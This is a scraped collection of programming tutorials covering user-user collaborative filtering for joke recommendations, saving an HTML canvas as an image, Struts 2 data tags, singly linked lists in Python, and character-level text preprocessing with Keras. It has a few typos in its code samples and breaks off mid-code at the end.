normalization." }, { "code": null, "e": 4179, "s": 4046, "text": "def normalization(dataframe): dataframe_mean = dataframe.mean(axis=1) return dataframe.subtract(dataframe_mean, axis = 'rows')" }, { "code": null, "e": 4317, "s": 4179, "text": "Let’s implement this method for the jokes dataset. For demonstration purposes, we will select ratings by 10 users for the first 10 jokes." }, { "code": null, "e": 4387, "s": 4317, "text": "We can also implement other configurations at the normalization step." }, { "code": null, "e": 4544, "s": 4387, "text": "Z-score is another possible way to normalize the rating data where the normalized value tells about how many standard deviations from the mean our score is." }, { "code": null, "e": 4565, "s": 4544, "text": "Computing Similarity" }, { "code": null, "e": 5146, "s": 4565, "text": "Similarity computation between users is the main task in collaborative filtering algorithms. The similarity between users ( also known as the distance between users) is a mathematical method to quantify how different or similar users are to each other. For a User-User CF algorithm, similarity, sim xγ between the users x and y who have both rated the same items is calculated first. To calculate this similarity different metrics are used. We will be using correlation-based similarity metrics to compute the similarity between user x and user y, sim xγ using Pearson correlation" }, { "code": null, "e": 5623, "s": 5146, "text": "The choice of Pearson correlation makes sense as similarity metrics as rating data for each user tend to be normally distributed. Like other correlation coefficients, this one varies between -1 and +1 with 0 implying no correlation. Correlations of -1 or +1 imply an exact linear relationship. Positive correlations between user x and user y imply that if user x has rated a joke as positive, there is a very high chance that user y will also rate positively to the same joke." }, { "code": null, "e": 5705, "s": 5623, "text": "Here is the python implementation of the Pearson Correlation using scipy package." }, { "code": null, "e": 5797, "s": 5705, "text": "def similarity_pearson(x, y): import scipy.stats return scipy.stats.pearsonr(x, y)[0]" }, { "code": null, "e": 6085, "s": 5797, "text": "Now we implement the above-mentioned method to find Pearson similarity for the ratings dataset. Please note that here we are evaluating similarity using the ratings dataset and not by normalized ratings dataset because the Pearson Correlation method takes care of the normalization step!" }, { "code": null, "e": 6164, "s": 6085, "text": "We can also implement other configurations at the similarity computation step." }, { "code": null, "e": 6485, "s": 6164, "text": "Cosine Similarity is another possible configuration to compute similarity among two users by computing the cosine of the angles between two rating vectors and determining whether both vectors are pointing in the roughly same direction. Cosine similarity is one often used to measure document similarity in text analysis." }, { "code": null, "e": 6506, "s": 6485, "text": "Selecting Neighbours" }, { "code": null, "e": 6818, "s": 6506, "text": "User-User collaborative filtering (UUCF) approach heavily relies on active user neighborhood information to make predictions and recommendations. Neighborhood selection can either make or break the recommendation for an active user and can have a direct bearing on the rating prediction and item recommendation." }, { "code": null, "e": 7043, "s": 6818, "text": "Currently, any commercial recommendation system has a very large number of users, thus the neighborhood must be composed of the subset of the users if the recommendation system wants to guarantee an acceptable response time." }, { "code": null, "e": 7119, "s": 7043, "text": "The figure below shows four traditional approaches to select neighborhoods." }, { "code": null, "e": 7331, "s": 7119, "text": "Use all dataset when the dataset is very smallSelect dataset when similarity score is above certain thresholdSelect top N dataset by similarity scoreSelect a similar cluster using a clustering method like K-Mean" }, { "code": null, "e": 7378, "s": 7331, "text": "Use all dataset when the dataset is very small" }, { "code": null, "e": 7442, "s": 7378, "text": "Select dataset when similarity score is above certain threshold" }, { "code": null, "e": 7483, "s": 7442, "text": "Select top N dataset by similarity score" }, { "code": null, "e": 7546, "s": 7483, "text": "Select a similar cluster using a clustering method like K-Mean" }, { "code": null, "e": 7686, "s": 7546, "text": "We will be using the threshold approach to select neighborhoods for an active user. Let’s designate the user at index 2 as our active user." }, { "code": null, "e": 7843, "s": 7686, "text": "The active user has read only 4 out of 10 jokes, so we will find out, which joke out of the remaining 6 will be the best recommendation for the active user." }, { "code": null, "e": 7913, "s": 7843, "text": "Let’s select a threshold of 0.1 or above to filter out the neighbors." }, { "code": null, "e": 8064, "s": 7913, "text": "Here is the python implementation to find similar neighbors using the threshold method. Here “sim” implies for similarity array of pandas series type." }, { "code": null, "e": 8147, "s": 8064, "text": "def neighbours(sim): return [sim.index[i] for i, v in enumerate(sim) if v>=0.1]" }, { "code": null, "e": 8292, "s": 8147, "text": "Here is the screenshot of the similarity array for our active user. Please ensure to drop active user’s own similarity to itself before working." }, { "code": null, "e": 8365, "s": 8292, "text": "We will be implementing the “neighbors” method for the similarity array." }, { "code": null, "e": 8466, "s": 8365, "text": "As evident from the screenshot above, here only users with index 3, 4, 6, 9 qualify to be neighbors." }, { "code": null, "e": 8675, "s": 8466, "text": "But in any commercial recommendation system that has a very large number of data, we may end up with a large number of neighbors if we go with the threshold method. So the question arises, how many neighbors?" }, { "code": null, "e": 9073, "s": 8675, "text": "Theoretically speaking, the more the better, if we have a good similarity matrix. But practically, noise from dissimilar neighbors decreases usefulness. if we mix a lot of low similarity neighbors then the difference from target user can start to degrade the quality of the recommendation. Between 25–100, high similarity neighbors are often used in practical and commercial recommendation system." }, { "code": null, "e": 9087, "s": 9073, "text": "Scoring Items" }, { "code": null, "e": 9354, "s": 9087, "text": "Scoring items using the neighborhood ratings is at the very core of making a collaborative filtering model. The weighted average is one of the most common methods to construct such a scoring system. We will be using weighted average to compute scoring for our items." }, { "code": null, "e": 9446, "s": 9354, "text": "The first step is to select only those items which hadn’t yet been rated by the active user" }, { "code": null, "e": 9595, "s": 9446, "text": "In our case, it’s joke_1, joke_2, joke_3, joke_4, joke_9, and joke_10. Since the remaining four jokes are already rated, we won’t score those items." }, { "code": null, "e": 9856, "s": 9595, "text": "Below is the screenshot of the neighbor_rating and neighbor_similarity pandas dataframe. We will these two dataframes and ratings dataframe to create scores for each joke. Note that here we are using the normalized rating dataframe for finding neighbor_rating." }, { "code": null, "e": 9927, "s": 9856, "text": "Here is the python implementation to calculate the score of the items." }, { "code": null, "e": 10261, "s": 9927, "text": "def score_item(neighbor_rating, neighbor_similarity, ratings ): # aumr -> active user mean rating aumr = np.mean(ratings.iloc[2, :]) score = np.dot(neighbor_similarity, neighbor_rating) + aumr data = score.reshape(1, len(score)) columns = neighbor_rating.columns return pd.DataFrame(data = data , columns = columns)" }, { "code": null, "e": 10335, "s": 10261, "text": "We will implement “score_item” method to find the score of all the jokes." }, { "code": null, "e": 10426, "s": 10335, "text": "Here, it’s clearly visible that joke_2 have the highest score, and joke_4 have the lowest." }, { "code": null, "e": 10442, "s": 10426, "text": "Items Selection" }, { "code": null, "e": 10625, "s": 10442, "text": "Once the item scoring is decided, the item with the maximum score will be the best recommendation. Thus in our case, joke_2 will be the most suited recommendation to our active user." }, { "code": null, "e": 10661, "s": 10625, "text": "Recommend Joke 2 to our active user" }, { "code": null, "e": 10847, "s": 10661, "text": "However, there is a high chance that by using this method the recommendation may saturate to just a few recommendations every time. This may lead to a degrade of recommendation quality." }, { "code": null, "e": 10961, "s": 10847, "text": "One simple solution to this problem is to take top n positively scored items and randomly recommend one of those." }, { "code": null, "e": 11172, "s": 10961, "text": "User-User Collaborative Filtering systems have been very successful in the past, but their widespread use has revealed some real challenges. Let’s discuss briefly the four key challenges of using such a system:" }, { "code": null, "e": 11185, "s": 11172, "text": "Cold-Start :" }, { "code": null, "e": 11318, "s": 11185, "text": "If a user is new, its similarity with other users cannot be calculated as the system may not have any form of data on this new user." }, { "code": null, "e": 11332, "s": 11318, "text": "Scalability :" }, { "code": null, "e": 11501, "s": 11332, "text": "As the number of users or items began to increase, then the user-user collaborative filtering suffers a drop in performance due to the growth in similarity computation." }, { "code": null, "e": 11516, "s": 11501, "text": "Data Sparsity:" }, { "code": null, "e": 11649, "s": 11516, "text": "With large item sets, a small number of ratings, often there are situations where no proper recommendation can be made for the user." }, { "code": null, "e": 11662, "s": 11649, "text": "Influencing:" }, { "code": null, "e": 11815, "s": 11662, "text": "An organization or person can deliberately manipulate prediction that gets made for others by creating multiple civil accounts and putting fake ratings." }, { "code": null, "e": 12074, "s": 11815, "text": "User-User Collaborative Filtering approach is the most commonly used and studied technology for making recommendations and has been widely adopted across the industry. The core concept behind this approach is that “similar users tend to have similar tastes.”" }, { "code": null, "e": 12300, "s": 12074, "text": "In this blog, we have presented the UUCF approach and its practical application on the jokes recommendation using 5 step process. We have also shown the possibility of varieties of configuration points at each of these steps." }, { "code": null, "e": 12625, "s": 12300, "text": "At many of these steps, we didn’t choose the best result but a more random choice out of the acceptable choices. This is the main irony of the recommendation system as we don’t look for the best result and a bit of randomness is always welcomed by the user and is necessary otherwise the whole experience becomes monotonous." }, { "code": null, "e": 13413, "s": 12625, "text": "http://eigentaste.berkeley.edu/dataset/https://github.com/abbi163/Jester-Joke-Recommender-SystemMarwa Hussien Mohamed, Mohamed Helmy Khafagy, Mohamed Hasan Ibrahim. “Recommender Systems Challenges and Solutions Survey”. ITCE’2019, Aswan, Egypt, 2–4 February 2019Zhipeng Zhang, Yasuo Kudo, and Tetsuya Murai. “Neighbor selection for user-based collaborative filtering using covering-based rough sets”. Annals of Operations Research, Nov 8, 2016Dietmar Jannach, Markus Zanker, Alexander Felfering, and Gerhard Friedrich. “Recommender System, An Introduction”. Cambridge University Press, 2011Rounak Banik, “Hands-On Recommendation Systems with Python”. Packt Publishing, 2018Coursera. Course on “Nearest Neighbor Collaborative Filtering”, by the University of Minnesota. Week 1 and Week 2." }, { "code": null, "e": 13453, "s": 13413, "text": "http://eigentaste.berkeley.edu/dataset/" }, { "code": null, "e": 13511, "s": 13453, "text": "https://github.com/abbi163/Jester-Joke-Recommender-System" }, { "code": null, "e": 13678, "s": 13511, "text": "Marwa Hussien Mohamed, Mohamed Helmy Khafagy, Mohamed Hasan Ibrahim. “Recommender Systems Challenges and Solutions Survey”. ITCE’2019, Aswan, Egypt, 2–4 February 2019" }, { "code": null, "e": 13860, "s": 13678, "text": "Zhipeng Zhang, Yasuo Kudo, and Tetsuya Murai. “Neighbor selection for user-based collaborative filtering using covering-based rough sets”. Annals of Operations Research, Nov 8, 2016" }, { "code": null, "e": 14008, "s": 13860, "text": "Dietmar Jannach, Markus Zanker, Alexander Felfering, and Gerhard Friedrich. “Recommender System, An Introduction”. Cambridge University Press, 2011" }, { "code": null, "e": 14092, "s": 14008, "text": "Rounak Banik, “Hands-On Recommendation Systems with Python”. Packt Publishing, 2018" } ]
How to save HTML Canvas as an Image with canvas.toDataURL()?
Use toDataURL() method to get the image data URL of the canvas. It converts the drawing (canvas) into a64 bit encoded PNG URL. You can try to run the following code to save the canvas as an image − <!DOCTYPE HTML> <html> <head> </head> <body> <canvasid = "newCanvas" width = "450" height = "300"></canvas> <script> var canvas = document.getElementById('newCanvas'); var ctx = canvas.getContext('2d'); // draw any shape ctx.beginPath(); ctx.moveTo(120, 50); ctx.bezierCurveTo(130,100, 130, 250, 330, 150); ctx.bezierCurveTo(350,180, 320, 180, 240, 150); ctx.bezierCurveTo(320,150, 420, 120, 390, 100); ctx.bezierCurveTo(130,40, 370, 30, 240, 50); ctx.bezierCurveTo(220,7, 350, 20, 150, 50); ctx.bezierCurveTo(250,5, 150, 20, 170, 80); ctx.closePath(); ctx.lineWidth = 3; ctx.fillStyle ='#F1F1F1'; ctx.fill(); ctx.stroke(); var dataURL =canvas.toDataURL(); </script> </body> </html>
[ { "code": null, "e": 1189, "s": 1062, "text": "Use toDataURL() method to get the image data URL of the canvas. It converts the drawing (canvas) into a64 bit encoded PNG URL." }, { "code": null, "e": 1260, "s": 1189, "text": "You can try to run the following code to save the canvas as an image −" }, { "code": null, "e": 2126, "s": 1260, "text": "<!DOCTYPE HTML>\n<html>\n <head>\n </head>\n <body>\n <canvasid = \"newCanvas\" width = \"450\" height = \"300\"></canvas>\n <script>\n var canvas = document.getElementById('newCanvas');\n var ctx = canvas.getContext('2d');\n // draw any shape\n ctx.beginPath();\n ctx.moveTo(120, 50);\n ctx.bezierCurveTo(130,100, 130, 250, 330, 150);\n ctx.bezierCurveTo(350,180, 320, 180, 240, 150);\n ctx.bezierCurveTo(320,150, 420, 120, 390, 100);\n ctx.bezierCurveTo(130,40, 370, 30, 240, 50);\n ctx.bezierCurveTo(220,7, 350, 20, 150, 50);\n ctx.bezierCurveTo(250,5, 150, 20, 170, 80);\n ctx.closePath();\n ctx.lineWidth = 3;\n ctx.fillStyle ='#F1F1F1';\n ctx.fill();\n ctx.stroke();\n var dataURL =canvas.toDataURL();\n </script>\n </body>\n</html>" } ]
Mastering Linked Lists in Python. Understanding the Singly Linked List... | by Sadrach Pierre, Ph.D. | Towards Data Science
Linked lists are important data structures in computer science. A linked list is a linear collection of nodes, where each node contains a data value and a reference to the next node in the list. In this post, we will walk through an example of building a singly linked list corresponding to a music playlist. Let’s get started! First, we will define a class called ‘SongNode’. In the argument of the ‘__init__’ method, we will initialize attributes ‘current_song’ and ‘next_song’ as ‘None’: class SongNode: def __init__(self, current_song=None, next_song = None): Next we define the class attributes, ‘current_song’ and ‘next_song’: class SongNode: def __init__(self, current_song=None, next_song = None): self.current_song = current_song self.next_song = next_song Now, let’s write a class that will allow us to build our linked song list. Let’s call this class ‘SongList’: class SongList: def __init__(self): self.head = None We will use the ‘SongList’ class, which will contain a reference to the ‘SongNode’ type, to initialize our song list object. Let’s write an instance of our song list class and print the result: if __name__=='__main__': #initialize linked list object linkedlist = SongList() print(linkedlist) Now let’s build a linked list of songs for our playlist. Let’s select the top 3 songs of all time by The Beatles according to Entertainment Weekly. To start let’s define the value of each node. (Note: The ‘...’ corresponds to omitted code): if __name__=='__main__': ... #assign values to nodes linkedlist.head = SongNode("A Hard Day's Night") second = SongNode('A Day in the Life') third = SongNode("Strawberry Fields Forever") Now let’s define the ‘next song’ value of the head node (the first song): if __name__=='__main__': ... #link nodes linkedlist.head.next_song = second Then we define the ‘next song’ value of the second node: if __name__=='__main__': ... second.next_song = third Next, let’s define a simple function that will allow us to traverse our linked song list. In a while loop we’ll print the value of the current song and redefine the current value as the next song until it reaches the tail of the linked list, which points to null: class SongList: ... def printSongs(self): value = self.head while (value): print(value.current_song) value = value.next_song Next, let’s print our list of songs: if __name__=='__main__': ... linkedlist.printSongs() Next, let’s define a function that allows us to insert a song at the end of our linked list. The function will take the parameter ‘new_song’. The function first checks if the head of the linked list is ‘None’. If it is, the head takes the value of new song: def NewSong(self, new_song): NewSongNode = SongNode(new_song) if self.head is None: self.head = NewSongNode Next, the variable ‘last’ is defined as the head node and in a while loop we iterate over the linked objects until we get to the song node that points to null. The ‘next song’ value of the ‘last’ node is then defined as the new song node: def newSong(self, new_song): NewSongNode = SongNode(new_song) if self.head is None: self.head = NewSongNode last = self.head while(last.next_song): last = last.next_song last.next_song=NewSongNode Now, let’s add two new songs “She Loves You” and “Something” and print our list of songs: if __name__=='__main__': ... linkedlist.newSong("She Loves You") linkedlist.newSong("Something") linkedlist.printSongs() I’ll stop here but I encourage you to play around with the code yourself. Specifically, you may want to try defining a function in the ‘SongList’ class that allow you to search for a node. You can also try defining a method that allows you to delete a node. To summarize, in this post we discussed how to create a linked list corresponding to a playlist of songs. We showed how to define song nodes using the ‘SongNode’ class and how to link ‘SongNode’ objects using the ‘SongList’ class. We also showed how to add additional song nodes to the end of our linked list. I hope you found this post useful/interesting. The code from this post is available on GitHub. Thank you for reading!
[ { "code": null, "e": 481, "s": 172, "text": "Linked lists are important data structures in computer science. A linked list is a linear collection of nodes, where each node contains a data value and a reference to the next node in the list. In this post, we will walk through an example of building a singly linked list corresponding to a music playlist." }, { "code": null, "e": 500, "s": 481, "text": "Let’s get started!" }, { "code": null, "e": 663, "s": 500, "text": "First, we will define a class called ‘SongNode’. In the argument of the ‘__init__’ method, we will initialize attributes ‘current_song’ and ‘next_song’ as ‘None’:" }, { "code": null, "e": 739, "s": 663, "text": "class SongNode: def __init__(self, current_song=None, next_song = None):" }, { "code": null, "e": 808, "s": 739, "text": "Next we define the class attributes, ‘current_song’ and ‘next_song’:" }, { "code": null, "e": 958, "s": 808, "text": "class SongNode: def __init__(self, current_song=None, next_song = None): self.current_song = current_song self.next_song = next_song" }, { "code": null, "e": 1067, "s": 958, "text": "Now, let’s write a class that will allow us to build our linked song list. Let’s call this class ‘SongList’:" }, { "code": null, "e": 1132, "s": 1067, "text": "class SongList: def __init__(self): self.head = None" }, { "code": null, "e": 1326, "s": 1132, "text": "We will use the ‘SongList’ class, which will contain a reference to the ‘SongNode’ type, to initialize our song list object. Let’s write an instance of our song list class and print the result:" }, { "code": null, "e": 1433, "s": 1326, "text": "if __name__=='__main__': #initialize linked list object linkedlist = SongList() print(linkedlist)" }, { "code": null, "e": 1674, "s": 1433, "text": "Now let’s build a linked list of songs for our playlist. Let’s select the top 3 songs of all time by The Beatles according to Entertainment Weekly. To start let’s define the value of each node. (Note: The ‘...’ corresponds to omitted code):" }, { "code": null, "e": 1878, "s": 1674, "text": "if __name__=='__main__': ... #assign values to nodes linkedlist.head = SongNode(\"A Hard Day's Night\") second = SongNode('A Day in the Life') third = SongNode(\"Strawberry Fields Forever\")" }, { "code": null, "e": 1952, "s": 1878, "text": "Now let’s define the ‘next song’ value of the head node (the first song):" }, { "code": null, "e": 2037, "s": 1952, "text": "if __name__=='__main__': ... #link nodes linkedlist.head.next_song = second" }, { "code": null, "e": 2094, "s": 2037, "text": "Then we define the ‘next song’ value of the second node:" }, { "code": null, "e": 2154, "s": 2094, "text": "if __name__=='__main__': ... second.next_song = third" }, { "code": null, "e": 2418, "s": 2154, "text": "Next, let’s define a simple function that will allow us to traverse our linked song list. In a while loop we’ll print the value of the current song and redefine the current value as the next song until it reaches the tail of the linked list, which points to null:" }, { "code": null, "e": 2592, "s": 2418, "text": "class SongList: ... def printSongs(self): value = self.head while (value): print(value.current_song) value = value.next_song" }, { "code": null, "e": 2629, "s": 2592, "text": "Next, let’s print our list of songs:" }, { "code": null, "e": 2688, "s": 2629, "text": "if __name__=='__main__': ... linkedlist.printSongs()" }, { "code": null, "e": 2946, "s": 2688, "text": "Next, let’s define a function that allows us to insert a song at the end of our linked list. The function will take the parameter ‘new_song’. The function first checks if the head of the linked list is ‘None’. If it is, the head takes the value of new song:" }, { "code": null, "e": 3079, "s": 2946, "text": "def NewSong(self, new_song): NewSongNode = SongNode(new_song) if self.head is None: self.head = NewSongNode" }, { "code": null, "e": 3318, "s": 3079, "text": "Next, the variable ‘last’ is defined as the head node and in a while loop we iterate over the linked objects until we get to the song node that points to null. The ‘next song’ value of the ‘last’ node is then defined as the new song node:" }, { "code": null, "e": 3544, "s": 3318, "text": "def newSong(self, new_song): NewSongNode = SongNode(new_song) if self.head is None: self.head = NewSongNode last = self.head while(last.next_song): last = last.next_song last.next_song=NewSongNode" }, { "code": null, "e": 3634, "s": 3544, "text": "Now, let’s add two new songs “She Loves You” and “Something” and print our list of songs:" }, { "code": null, "e": 3767, "s": 3634, "text": "if __name__=='__main__': ... linkedlist.newSong(\"She Loves You\") linkedlist.newSong(\"Something\") linkedlist.printSongs()" }, { "code": null, "e": 4025, "s": 3767, "text": "I’ll stop here but I encourage you to play around with the code yourself. Specifically, you may want to try defining a function in the ‘SongList’ class that allow you to search for a node. You can also try defining a method that allows you to delete a node." } ]
Struts 2 - Data Tags
The Struts 2 data tags are primarily used to manipulate the data displayed on a page. Listed below are the important data tags: <Start here> This tag enables developers to call actions directly from a JSP page by specifying the action name and an optional namespace. The body content of the tag is used to render the results from the Action. Any result processor defined for this action in struts.xml will be ignored, unless the executeResult parameter is specified. <div>Tag to execute the action</div> <br /> <s:action name = "actionTagAction" executeresult = "true" /> <br /> <div>To invokes special method in action class</div> <br /> <s:action name = "actionTagAction!specialMethod" executeresult = "true" /> Check Detailed Example These include will be used to include a JSP file in another JSP page. <-- First Syntax --> <s:include value = "myJsp.jsp" /> <-- Second Syntax --> <s:include value = "myJsp.jsp"> <s:param name = "param1" value = "value2" /> <s:param name = "param2" value = "value2" /> </s:include> <-- Third Syntax --> <s:include value = "myJsp.jsp"> <s:param name = "param1">value1</s:param> <s:param name = "param2">value2</s:param> </s:include> Check Detailed Example These bean tag instantiates a class that conforms to the JavaBeans specification. This tag has a body which can contain a number of Param elements to set any mutator methods on that class. If the var attribute is set on the BeanTag, it will place the instantiated bean into the stack's Context. <s:bean name = "org.apache.struts2.util.Counter" var = "counter"> <s:param name = "first" value = "20"/> <s:param name = "last" value = "25" /> </s:bean> Check Detailed Example These date tag will allow you to format a Date in a quick and easy way. You can specify a custom format (eg. "dd/MM/yyyy hh:mm"), you can generate easy readable notations (like "in 2 hours, 14 minutes"), or you can just fall back on a predefined format with key 'struts.date.format' in your properties file. <s:date name = "person.birthday" format = "dd/MM/yyyy" /> <s:date name = "person.birthday" format = "%{getText('some.i18n.key')}" /> <s:date name = "person.birthday" nice="true" /> <s:date name = "person.birthday" /> Check Detailed Example These param tag can be used to parameterize other tags. This tag has the following two parameters. name (String) − the name of the parameter name (String) − the name of the parameter value (Object) − the value of the parameter value (Object) − the value of the parameter <pre> <ui:component> <ui:param name = "key" value = "[0]"/> <ui:param name = "value" value = "[1]"/> <ui:param name = "context" value = "[2]"/> </ui:component> </pre> Check Detailed Example These property tag is used to get the property of a value, which will default to the top of the stack if none is specified. <s:push value = "myBean"> <!-- Example 1: --> <s:property value = "myBeanProperty" /> <!-- Example 2: -->TextUtils <s:property value = "myBeanProperty" default = "a default value" /> </s:push> Check Detailed Example These push tag is used to push value on stack for simplified usage. <s:push value = "user"> <s:propery value = "firstName" /> <s:propery value = "lastName" /> </s:push> Check Detailed Example These set tag assigns a value to a variable in a specified scope. It is useful when you wish to assign a variable to a complex expression and then simply reference that variable each time rather than the complex expression. The scopes available are application, session, request, page and action. <s:set name = "myenv" value = "environment.name"/> <s:property value = "myenv"/> Check Detailed Example These text tag is used to render a I18n text message. <!-- First Example --> <s:i18n name = "struts.action.test.i18n.Shop"> <s:text name = "main.title"/> </s:i18n> <!-- Second Example --> <s:text name = "main.title" /> <!-- Third Examlpe --> <s:text name = "i18n.label.greetings"> <s:param >Mr Smith</s:param> </s:text> Check Detailed Example These url tag is used to create a URL. <-- Example 1 --> <s:url value = "editGadget.action"> <s:param name = "id" value = "%{selected}" /> </s:url> <-- Example 2 --> <s:url action = "editGadget"> <s:param name = "id" value = "%{selected}" /> </s:url> <-- Example 3--> <s:url includeParams="get"> <s:param name = "id" value = "%{'22'}" /> </s:url> Check Detailed Example Print Add Notes Bookmark this page
[ { "code": null, "e": 2387, "s": 2246, "text": "The Struts 2 data tags are primarily used to manipulate the data displayed on a page. Listed below are the important data tags: <Start here>" }, { "code": null, "e": 2713, "s": 2387, "text": "This tag enables developers to call actions directly from a JSP page by specifying the action name and an optional namespace. The body content of the tag is used to render the results from the Action. Any result processor defined for this action in struts.xml will be ignored, unless the executeResult parameter is specified." }, { "code": null, "e": 2961, "s": 2713, "text": "<div>Tag to execute the action</div>\n<br />\n<s:action name = \"actionTagAction\" executeresult = \"true\" />\n<br />\n<div>To invokes special method in action class</div>\n<br />\n<s:action name = \"actionTagAction!specialMethod\" executeresult = \"true\" />" }, { "code": null, "e": 2984, "s": 2961, "text": "Check Detailed Example" }, { "code": null, "e": 3054, "s": 2984, "text": "These include will be used to include a JSP file in another JSP page." }, { "code": null, "e": 3430, "s": 3054, "text": "<-- First Syntax -->\n<s:include value = \"myJsp.jsp\" />\n\n<-- Second Syntax -->\n<s:include value = \"myJsp.jsp\">\n <s:param name = \"param1\" value = \"value2\" />\n <s:param name = \"param2\" value = \"value2\" />\n</s:include>\n\n<-- Third Syntax -->\n<s:include value = \"myJsp.jsp\">\n <s:param name = \"param1\">value1</s:param>\n <s:param name = \"param2\">value2</s:param>\n</s:include>" }, { "code": null, "e": 3453, "s": 3430, "text": "Check Detailed Example" }, { "code": null, "e": 3748, "s": 3453, "text": "These bean tag instantiates a class that conforms to the JavaBeans specification. This tag has a body which can contain a number of Param elements to set any mutator methods on that class. If the var attribute is set on the BeanTag, it will place the instantiated bean into the stack's Context." }, { "code": null, "e": 3908, "s": 3748, "text": "<s:bean name = \"org.apache.struts2.util.Counter\" var = \"counter\">\n <s:param name = \"first\" value = \"20\"/>\n <s:param name = \"last\" value = \"25\" />\n</s:bean>" }, { "code": null, "e": 3931, "s": 3908, "text": "Check Detailed Example" }, { "code": null, "e": 4239, "s": 3931, "text": "These date tag will allow you to format a Date in a quick and easy way. You can specify a custom format (eg. \"dd/MM/yyyy hh:mm\"), you can generate easy readable notations (like \"in 2 hours, 14 minutes\"), or you can just fall back on a predefined format with key 'struts.date.format' in your properties file." }, { "code": null, "e": 4456, "s": 4239, "text": "<s:date name = \"person.birthday\" format = \"dd/MM/yyyy\" />\n<s:date name = \"person.birthday\" format = \"%{getText('some.i18n.key')}\" />\n<s:date name = \"person.birthday\" nice=\"true\" />\n<s:date name = \"person.birthday\" />" }, { "code": null, "e": 4479, "s": 4456, "text": "Check Detailed Example" }, { "code": null, "e": 4578, "s": 4479, "text": "These param tag can be used to parameterize other tags. This tag has the following two parameters." }, { "code": null, "e": 4620, "s": 4578, "text": "name (String) − the name of the parameter" }, { "code": null, "e": 4662, "s": 4620, "text": "name (String) − the name of the parameter" }, { "code": null, "e": 4706, "s": 4662, "text": "value (Object) − the value of the parameter" }, { "code": null, "e": 4750, "s": 4706, "text": "value (Object) − the value of the parameter" }, { "code": null, "e": 4947, "s": 4750, "text": "<pre>\n <ui:component>\n <ui:param name = \"key\" value = \"[0]\"/>\n <ui:param name = \"value\" value = \"[1]\"/>\n <ui:param name = \"context\" value = \"[2]\"/>\n </ui:component>\n</pre>" }, { "code": null, "e": 4970, "s": 4947, "text": "Check Detailed Example" }, { "code": null, "e": 5094, "s": 4970, "text": "These property tag is used to get the property of a value, which will default to the top of the stack if none is specified." }, { "code": null, "e": 5300, "s": 5094, "text": "<s:push value = \"myBean\">\n <!-- Example 1: -->\n <s:property value = \"myBeanProperty\" />\n\n <!-- Example 2: -->TextUtils\n <s:property value = \"myBeanProperty\" default = \"a default value\" />\n</s:push>" }, { "code": null, "e": 5323, "s": 5300, "text": "Check Detailed Example" }, { "code": null, "e": 5391, "s": 5323, "text": "These push tag is used to push value on stack for simplified usage." }, { "code": null, "e": 5498, "s": 5391, "text": "<s:push value = \"user\">\n <s:propery value = \"firstName\" />\n <s:propery value = \"lastName\" />\n</s:push>" }, { "code": null, "e": 5521, "s": 5498, "text": "Check Detailed Example" }, { "code": null, "e": 5818, "s": 5521, "text": "These set tag assigns a value to a variable in a specified scope. It is useful when you wish to assign a variable to a complex expression and then simply reference that variable each time rather than the complex expression. The scopes available are application, session, request, page and action." }, { "code": null, "e": 5899, "s": 5818, "text": "<s:set name = \"myenv\" value = \"environment.name\"/>\n<s:property value = \"myenv\"/>" }, { "code": null, "e": 5922, "s": 5899, "text": "Check Detailed Example" }, { "code": null, "e": 5976, "s": 5922, "text": "These text tag is used to render a I18n text message." }, { "code": null, "e": 6250, "s": 5976, "text": "<!-- First Example -->\n<s:i18n name = \"struts.action.test.i18n.Shop\">\n <s:text name = \"main.title\"/>\n</s:i18n>\n\n<!-- Second Example -->\n<s:text name = \"main.title\" />\n\n<!-- Third Examlpe -->\n<s:text name = \"i18n.label.greetings\">\n <s:param >Mr Smith</s:param>\n</s:text>" }, { "code": null, "e": 6273, "s": 6250, "text": "Check Detailed Example" }, { "code": null, "e": 6312, "s": 6273, "text": "These url tag is used to create a URL." }, { "code": null, "e": 6631, "s": 6312, "text": "<-- Example 1 -->\n<s:url value = \"editGadget.action\">\n <s:param name = \"id\" value = \"%{selected}\" />\n</s:url>\n\n<-- Example 2 -->\n<s:url action = \"editGadget\">\n <s:param name = \"id\" value = \"%{selected}\" />\n</s:url>\n\n<-- Example 3-->\n<s:url includeParams=\"get\">\n <s:param name = \"id\" value = \"%{'22'}\" />\n</s:url>" }, { "code": null, "e": 6654, "s": 6631, "text": "Check Detailed Example" }, { "code": null, "e": 6661, "s": 6654, "text": " Print" }, { "code": null, "e": 6672, "s": 6661, "text": " Add Notes" } ]
How to Preprocess Character Level Text with Keras | by Xu LIANG | Towards Data Science
You can find the notebook here The goal of this introduction is to let you know how to use Keras to preprocess text in character level. The rest of the article is organized as follows. Load data Tokenizer Change vocabulary Character to index Padding Get Labels First, we use pandas to load the training data. Combining column 1 and column 2 as one text. Saving the column 1 to texts and convert all sentence to lower case. When initializing the Tokenizer, there are only two parameters important. char_level=True: this can tell tk.texts_to_sequences() to process sentence in char level. oov_token='UNK': this will add a UNK token in the vocabulary. We can call it by tk.oov_token. After call tk.fit_on_texts(texts), tk class will contain the neccery information about the training data. We can call tk.word_index to see the dictionary. Here the index of UNK is word_count+1. This is the character dictionary learned from the training data. But if we already have a character list, we have to change the tk_word_index. See I already have a character list call alphabet, we build a char_dict based on alphabet. We will assign a new index to UNK. After we get the right vocabulary, we can represent all texts by using character index. This step is very simple, tk.texts_to_sequences() will do this conversion automatically for us. We can see the string representation is replaced by index representation. We list top 5 sentence length. Because text have different length, we have to make all text as the same length, so the CNN can handle the batch data. Here we set the max sentence length as 1014. If the length of a text is smaller than 1014, the rest of the part will be padded as 0. If the length of a text is bigger than 1014, the part longer than 1014 will be truncated. So all texts will maintain the same length. Finally, we convert the list to Numpy array. First, we assign column 0 in train_df to a class_list, this 1-dimensional list contains all labels for each text. But our task is a multiclass task, so we have to convert it to a 2-dimensional array. Here we could use the to_categorical method in Keras As for the test dataset, we just need to do the same process again. For easy use, I sum all code together. # write all code in one cell#========================Load data=========================import numpy as npimport pandas as pdtrain_data_source = '../data/ag_news_csv/train.csv'test_data_source = '../data/ag_news_csv/test.csv'train_df = pd.read_csv(train_data_source, header=None)test_df = pd.read_csv(test_data_source, header=None)# concatenate column 1 and column 2 as one textfor df in [train_df, test_df]: df[1] = df[1] + df[2] df = df.drop([2], axis=1) # convert string to lower case train_texts = train_df[1].values train_texts = [s.lower() for s in train_texts]test_texts = test_df[1].values test_texts = [s.lower() for s in test_texts]#=======================Convert string to index================from keras.preprocessing.text import Tokenizerfrom keras.preprocessing.sequence import pad_sequences# Tokenizertk = Tokenizer(num_words=None, char_level=True, oov_token='UNK')tk.fit_on_texts(train_texts)# If we already have a character list, then replace the tk.word_index# If not, just skip below 